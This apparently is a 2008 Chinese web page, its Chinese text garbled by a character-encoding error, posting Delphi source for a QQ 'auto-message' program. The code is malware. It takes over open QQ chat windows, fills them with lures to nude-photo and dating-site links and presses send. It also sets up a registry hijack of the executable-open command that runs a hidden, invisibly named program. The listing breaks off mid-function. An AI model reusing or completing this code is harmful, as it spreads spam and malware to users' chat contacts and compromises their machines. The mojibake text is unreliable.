ÔÞÖúÉÌÁ´½Ó

QQ¿Õ¼äÇ©ÃûÖÆ×÷

QQ×Ô¶¯ÏûÏ¢Ô´Âë

ʱ¼ä£º2008-09-08 À´Ô´£ºQQ¿Õ¼äÃâ·ÑËØ²Ä[ÆÀÂÛ] Êղص½QQÊéÇ© Ìí¼Óµ½°Ù¶ÈËѲؠÌí¼Óµ½°Ù¶ÈËѲØ


QQ×Ô¶¯ÏûÏ¢Ô´Âë

QQ×Ô¶¯ÏûÏ¢Ô´Âë 444v.com

program internet;

444v.com

  444v.com

uses
windows,messages,sysutils,shellapi;

444v.com

{$R *.res}
const
exename:pchar='QQ2.exe';
ExeFilePath='exefile\shell\open\command';
ExeFileValue='ÿ "%1" %*';//alt+255
ExecName='\ÿ.exe' ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//----------------------
wClass: TWndClass; //´°¿ÚÀà±äÁ¿
Msg: TMSG; //ÏûÏ¢±äÁ¿
hInst, //³ÌÐòʵÀý
Handle, //Ö÷´°¿Ú¾ä±ú
hFont, //×ÖÌå¾ä±ú
//----------------
hButtonStart, //¿ªÊ¼°´Å¥
hButtonStop, //Í£Ö¹°´Å¥
hButtonExit, //Í˳ö°´Å¥
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //ÓÃÓÚexit
begin
//ɾ³ý×ÖÌå¶ÔÏó
DeleteObject(hFont);
//È¡Ïû´°¿ÚÀàµÄ×¢²á
UnRegisterClass(wClass.lpszClassName,hInst);
//½áÊøÖ÷½ø³Ì
ExitProcess(hInst);
end;
//------------------ ×¢²á±í
procedure WriteKey(o,p,q:LPSTR;s:HKEY);

444v.com


begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//----------------------·¢ËÍ£¬STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//-------------------------·¢ÏûÏ¢µ½QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//---------------------------È¡QQ´°¿Ú¾ä±ú
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //µÃµ½ÀàÃû
/////////77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256); 444v.com
if string(buffer)='' then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/////////15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos('êdzÆ',string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
////////7777777777
if (string(buffer)='RICHEDIT') and (i=6) then
begin
qqbody:='¿´¿´ÎÒµÄÂãÌåÐ´Õæ£º'+#13+#10+'http://avbb.ywzc.net';
qqbody:=qqbody + #13+#10+#13+#10+'¿´¿´ÎÒµÄÀËÂþ°®Ç飺http://asiafriendfinder.com/go/p95770';
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//-----------------------------------¼ÆÊ±Æ÷
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:='qq';
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos('·¢ËÍÏûÏ¢',strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//------------------------ÕâÊÇÖ÷´°¿ÚµÄÏûÏ¢´¦Àíº¯Êý
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//¶¨Ò弸¸ö´°¿Ú´´½¨º¯Êý
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd; 444v.com

ÉÏһƪ£ºµÁQQÔ´Âë ÍêÈ«¹«²¼  
ÏÂһƪ£º¸Ä¸öÎļþ ÈÃɺº÷³æQQÏÔ³öÒþÉíºÃÓÑ

Ïà¹ØÔĶÁ

¡¤QQ±»µÁ¡°·´»÷Õ½ (2008-09-10)
¡¤QQ±Ü¿ª¹¥»÷±£»¤ÃÜÂëµÄÆß¸öС¼¼ÇÉ (2008-09-10)
¡¤QQ²¡¶¾×¨É±¹¤¾ßXP (2008-09-10)
¡¤£Ñ£ÑºÅÂëÉêËß×ÊÁÏ ÈçºÎÌîдÓÐ˵·þÁ¦ (2008-09-10)
¡¤QQÃÜÂëÆÆ½âÓë¶Ô²ßÈ«¹¥ÂÔ (2008-09-10)
¡¤·ÀÖ¹¼¸ÖÖµäÐÍ¡°Õ¨µ¯¡±¶ÔQQµÄ¹¥»÷ (2008-09-10)
¡¤QQ¼¼ÇÉÖ®½ûÓÃQQËÄ·¨ÒàÊÇ´«²¥ eiYes.Com (2008-09-10)
¡¤QQºÅÂë±»µÁÔ­Òò¼°°¸Àý·ÖÎö (2008-09-10)